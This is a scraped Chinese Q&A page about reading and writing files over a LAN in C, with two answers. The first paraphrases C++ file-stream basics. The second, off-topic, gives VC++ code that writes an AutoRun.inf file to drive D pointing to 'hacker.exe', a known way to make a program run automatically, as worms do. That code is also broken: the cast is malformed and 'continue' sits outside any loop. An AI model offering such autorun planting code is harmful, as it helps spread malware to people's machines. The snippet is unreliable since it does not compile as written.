问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

c语言,局域网读写文件的问题

发布网友 发布时间:2022-04-20 06:10

我来回答

2个回答

热心网友 时间:2023-08-30 10:31

去本人的文库里下载文章《C++的IO(输入输出)专题》,或者百度里面搜索也行,这篇文章里面有详细的介绍,下面是这篇文章的节选,你看了就能明白,怎么操作了

34、让程序写入文件,首先应创建一个输出流ofstream流对象并与该文件关联,然后像使用cout一样使用该流对象,因为C++使用流来管理输入输出,当创建一个流对象时就为该对象分配一个缓冲区,创建两个流对象就分配两个缓冲区,标准的cout流是与显示屏相关联的,因此使用cout流将使内容输出到缓冲区,然后输出到显示屏上,而使用文件时就应该创建一个流以与要进行输入的文件相关联,这样当在给文件写入内容时,首先把内容写入到与文件关联的缓冲区中,然后再输出到文件中。具体步骤为:首先创建一个ofstream流对象,比如ofstream hy; 然后将该流对象与某文件关联起来,比如要使流对象hy与文件hyong.txt关联,则可以使用open函数,如hy.open(“hyong.txt”)或者使用构造函数将这两步合并为一步,比如ofstream hy(“hyong.txt”);其次向文件输入内容,像使用cout一样为文件输入内容,比如hy<<”wweeiii”;即表示把内容输出到与流对象hy相关联的控制台中,这里与hy相关联的控制台是文件hyong.txt,即把字符串wweeii输入到与流hy关联的文件hyong.txt中。以上面这两种方法打开文件时,如果没有这样的文件将创建一个新文件,如果有这样的文件,则打开该文件并清空其内容。
35、要读取文件中的内容,和上面介绍的把程序写入文件一样,首先应创建一个输入流ifstream流对象并与要执行的文件相关联,然后像使用cin一样使用该流对象,输入与输出一样都将创建流的缓冲区。具体方法为创建流对象如ifstream hy1;然后将该流对象与要执行的文件相关联,可以使用open函数,比如hy1.open(“hyong1.txt”);或将两句合并为一句,比如ifstream hy1(“hyong1.txt”),然后像使用cin这样使用流对象,比如char ch[33]; hy1>>ch;即表示把hy1关联的文件hyong1.txt中的内容输出到数组ch中。

热心网友 时间:2023-08-30 10:31

嗯,
我来给你详细的一个过程:

我用VC++6.0 编译

点文件->新建->选择的工程项目很多,我们只要用 win32 console application就可以了 然后点完成。然后继续上一步,给这个工程添加一个源文件

然后输入以下代码:
#include <stdio.h>
#include <string>
#include <afx.h>

int main()
{ HANDLE hFile;
char str[]="d:\\AutoRun.inf";

hFile=CreateFile((LPCTSTR&str,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{

continue;
}
if(SetFilePointer(hFile,0,NULL,FILE_END)==-1)
{
MessageBox(NULL,"setfilepointer error","冷无崖",0);
}
DWORD dd;

WriteFile(hFile,"[AutoRun]\r\n""Open=hacker.exe",strlen("[Autorun]\r\n""Open=hacker.exe"),&dd,NULL);

CloseHandle(hFile);

}

然后点编译按钮就可以了……
这个程序往D盘写一个文件名为 AutoRun.inf 的文件内容为:
[AutoRun]
Open=hacker.exe
这里我用的不是 C++的函数,用的是VC的库函数……
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
我这个配置能玩大唐无双2吗 PK什么的能卡么? 求高手解答 这样的配置还要加什么玩大唐无双才不卡 这个配置能玩大唐无双双开吗? windows7旗舰版系统玩大唐无双零双开卡怎么办?卡死了。 玩大唐无双的时候双开过地图太卡怎么解决啊 全民枪战我用QQ号,但它说密码数字英文,下划线组成,应该怎样弄啊?_百 ... 小太阳取暖器头晕呕吐 取暖器用的会头晕吗,可能的原因和使用注意事项 男孩姓孙含越字好名字 简单特别的男孩名字越 中间是越的男孩名字大全 如图:电脑a如何访问电脑c上的共享文件或共享资源? 两台电脑设置共享文件的问题。 如何把ppt导入word 用word怎样放幻灯片。 用word文档的文件怎么做幻灯片? 幻灯片怎么转换word纯文字文档? 在word文档中可以制作幻灯片么 word文档怎么做成幻灯片 如何在ppt中加入Word文件? 如何在ppt中加入word文件 OPPOR7怎么设置 二卡来电铃声? 功放的电流多少A 华为如何设置卡2手机铃声 怎么设置卡2的铃声??? Upc2581V加安美森对管功放与三肯管2SA1216加2sc292... 安卓智能手机两个卡如何设置两种铃声 卡2怎么设置铃声 怎么设置二卡铃声 两个卡怎么设置彩铃 怎么设置卡2铃声 C#编程中如何在局域网内访问某机器上的共享文件? 局域网共享A能打开B的共享文件夹但不能操作,C能打... c语言,文件指针能否读取局域网共享文件?有注意事... 怎么样设置共享文件夹一部电脑有读写权限,其他电... VC++ MFC 读文件 共享为例 C#远程操作共享文件夹 C#中在局域网内怎样实现访问共享资源? 怎么打开C盘默认共享文件夹(C$)!! 如何查看局域网中共享文件 c语言访问本地网络中的计算机中的文件 c#编程,实现读取局域网计算机上未共享的文件夹 A电脑通过B电脑访问C电脑的共享文件 A、B、C三台电脑通过文件共享,互相访问的问题? 文件的共享权限:读取,更改,还有什么? 打开共享文件夹里面同一文件,显示内容不同 39成人用品怎么样? 世界四大成人用品品牌 成人用品哪个品牌的好 谁知道成人用品什么类目比较好卖? 成人用品怎么样?